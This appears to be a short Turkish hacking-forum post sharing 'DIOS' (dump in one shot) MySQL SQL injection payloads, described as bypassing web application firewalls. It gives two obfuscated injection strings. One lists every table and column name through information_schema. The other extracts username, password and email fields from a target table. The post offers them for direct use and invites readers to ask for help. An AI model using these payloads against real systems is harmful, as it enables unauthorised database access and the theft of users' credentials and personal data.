Mysql Sql İnjection DİOS BY ZEN WAF BYPASS (1 Viewer)

[titan0b0a]

TABLO ADI VE KOLON ADI BİLGİLERİNİ ÇIKARIR

(SeLecT(@x)FrOm(SeLecT(@x:=0x00),(SeLecT(@x)FrOm(/*!50000iNfoRMaTioN_ScHeMa.coLumNs*/)wHeRe(TaBLe_ScHeMa!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=/*!50000CoNcaT*/(@x,0x3c62723e,TaBLe_NaMe,0x203a3a20,CoLumN_NaMe))))x)

KOLONDAKİ BİLGİLERİ ÇEKMEK

(SeLecT(@x)FrOm(SeLecT(@x:=0x00),(SeLecT(@x)FrOm(kolon ismi)wHeRe(0x00)in(@x:=/*!50000CoNcaT*/(@x,0x3c62723e,kulladi,0x203a3a20,kullsif,0x203a3a20,email))))x)

anlamayan yada sorun yaşayan arkadaşlar konu altına yazabilir.